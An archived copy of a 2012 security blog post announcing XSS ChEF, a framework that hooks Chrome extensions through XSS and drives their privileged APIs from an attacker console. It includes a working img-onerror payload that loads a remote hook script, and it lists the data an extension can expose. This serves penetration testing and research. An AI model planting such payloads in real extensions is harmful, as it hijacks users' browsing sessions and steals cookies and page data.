---
type: Article
title: XSS ChEF - Chrome extension exploitation framework
description: "Chrome extensions are HTML5 apps that can carry XSS, and their manifest permissions grant far more than a web page: reading every visited page, running script in any origin, screenshots, history and httpOnly cookies. XSS ChEF is a BeEF-style framework that hooks an injected extension over WebSockets and drives those APIs from an attacker console."
resource: "https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html"
tags: [article, webseclist-reference, blog-kotowicz-net, browser-extension, xss, tooling, sop-bypass, cookie, privilege-escalation, javascript, sandbox-escape, owasp-a01-2021, owasp-a03-2021, owasp-a07-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-16T00:00:33+00:00"
status: stable
stale_after: 2027-08-16
sources:
  - id: original
    resource: "https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html"
    title: XSS ChEF - Chrome extension exploitation framework
  - id: canonical
    resource: "http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html"
  - id: capture
    resource: "https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html"
also_at: []
authors: []
canonical_url: "http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html"
cited_by:
  - "2012.md:7"
commit: ""
content_sha256: 34235f4e70a24579cc19162df1219aa104168c91056cd3214c7d2263115f1105
depth: full
depth_reason: default
kind: article
language: ""
licence: unknown
original_url: "https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html"
published: ""
publisher: blog.kotowicz.net
publisher_english: ""
raw_sha256: 82221aeaa32434bcb377dfcf89bead120323d138c7430ee89d2111dada3a0b17
retrieved_from: "http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html"
retrieved_kind: stored
retrieved_utc: "2026-08-16T00:00:33+00:00"
slug: blog-kotowicz-net-xss-chef-chrome-extension-exploitation-framework
snapshot: 20170903113359
title_english: ""
translation_file: ""
translation_of: ""
---

# XSS ChEF - Chrome extension exploitation framework

**XSS ChEF - Chrome extension exploitation framework** - Author not stated, blog.kotowicz.net.

- Published: date not stated
- Original: <https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html>
- Current location: <http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html>
- Preserved from: http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html (stored) on 2026-08-16
- Capture timestamp: 20170903113359
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Recently I've been busy with my new little project. What started out as a proof of concept suddenly became good enough to [demonstrate it with Kyle Osborn at BlackHat](https://web.archive.org/web/20170716150040/http://www.blackhat.com/html/bh-us-12/bh-us-12-briefings.html#Osborn), so I decided I might just present it here too ;)

##  Zombifying alert(1)

 What do you do when you find XSS on a website? alert(1) of course. What you can do instead is to try to make something bigger out of it. You have several options:

- If you're [**Samy**](https://web.archive.org/web/20170716150040/http://samy.pl/), you write a [worm](https://web.archive.org/web/20170716150040/http://en.wikipedia.org/wiki/Samy_(computer_worm)) (and you [almost go to jail](https://web.archive.org/web/20170716150040/http://www.techspot.com/news/24226-myspace-speaks-about-samy-kamkars-sentencing.html) in return because the worm is so successful)
- If you're **a bad guy**, you redirect to an exploit-kit.
- If you're **a pentester** - you can use that XSS for further exploitation.

 Let's focus on this last case - you want to exploit the application. You can do that manually via some handcrafted JS code, you can use various libraries with ready-made features (like [XSS-Track](https://web.archive.org/web/20170716150040/http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html)) or you can inject a [BeEF](https://web.archive.org/web/20170716150040/http://www.beefproject.com/) hook and make your tested application a zombie ready to receive commands from the zombie master (i.e. **you**). BeEF is probably as good as it gets when it comes to exploiting XSS within web pages.

##  Chrome extensions are web apps too!

 Chrome extensions are basically just HTML5 applications and can suffer from standard web vulnerabilities (read our BlackHat whitepaper: [Advanced Chrome Extension Exploitation: Leveraging API powers for Better Evil](https://web.archive.org/web/20170716150040/http://goo.gl/z9SwQ) for more details). Among them our beloved **XSS**. Yes, as it turns out, XSS vulnerabilities in Chrome extensions are pretty common (again - see white paper).

 Exploiting XSS in Chrome extensions is way cooler though, because they have **much more capabilities** than the standard webpages. Depending on the permissions declared in the [manifest](https://web.archive.org/web/20170716150040/http://code.google.com/chrome/extensions/manifest.html), they may be able to:

- get the content of every page that you visit (and URLs that you visit in incognito mode)
- execute JS in context of **every** website (Global XSS)
- take screenshots of your browser tabs
- monitor and alter your browsing history & cookies (even httpOnly!)
- access your bookmarks
- even change your proxy settings

 And, once you've got XSS, you can do all of the above within your payload. Once you know the details of the asynchronous [chrome.*](https://web.archive.org/web/20170716150040/http://code.google.com/chrome/extensions/api_index.html) APIs.

##  But that's so cumbersome!

 [![](https://web.archive.org/web/20170716150040im_/http://1.bp.blogspot.com/-p5wgUv6tmQ0/UBDVZfYb8cI/AAAAAAAAGIY/LlPFD--GRlA/s1600/xss-chef-medium.png)](https://web.archive.org/web/20170716150040/http://1.bp.blogspot.com/-p5wgUv6tmQ0/UBDVZfYb8cI/AAAAAAAAGIY/LlPFD--GRlA/s1600/xss-chef-medium.png)

 Yeah, I know. And I'm lazy too, so I've created a tool called **[XSS CheF - Chrome Extension Exploitation Framework](https://web.archive.org/web/20170716150040/https://github.com/koto/xsschef) **which does the work for me. It's basically a BeEF equivalent for Chrome extensions. So, once you've found XSS vulnerability within Chrome extension, you can simply inject a payload like this:

```
<img src=x onerror="if(location.protocol.indexOf('chrome')==0){
d=document;e=createElement('script');e.src='http://localhost/xsschef/hook.php';
d.body.appendChild(e);}">

```

 to get total control over the whole browsing session via attacker's console.

| [![](https://web.archive.org/web/20170716150040im_/http://3.bp.blogspot.com/-RLoq6NP6Ihw/UBDOiLC_N0I/AAAAAAAAGIA/b_zPuYgPOUA/s640/screenshot_02.png)](https://web.archive.org/web/20170716150040/http://3.bp.blogspot.com/-RLoq6NP6Ihw/UBDOiLC_N0I/AAAAAAAAGIA/b_zPuYgPOUA/s1600/screenshot_02.png) |  |
| Console |  |

 XSS ChEF is designed from the ground up for exploiting extensions. It's fast (thanks to using WebSockets), and it comes preloaded with automated attack scripts:

 [![](https://web.archive.org/web/20170716150040im_/http://4.bp.blogspot.com/-Kn3zhJDqgOE/UBDS93j7spI/AAAAAAAAGIM/H5NDPD9o2RM/s320/screenshot_02.png)](https://web.archive.org/web/20170716150040/http://4.bp.blogspot.com/-Kn3zhJDqgOE/UBDS93j7spI/AAAAAAAAGIM/H5NDPD9o2RM/s1600/screenshot_02.png)

##  Demo

##  Download

 [XSS ChEF](https://web.archive.org/web/20170716150040/https://github.com/koto/xsschef) is available on GitHub under GPLv3 license. As always - clone, download, test it and let me know how do you feel about it. Suggestions & contributions are more than welcome.
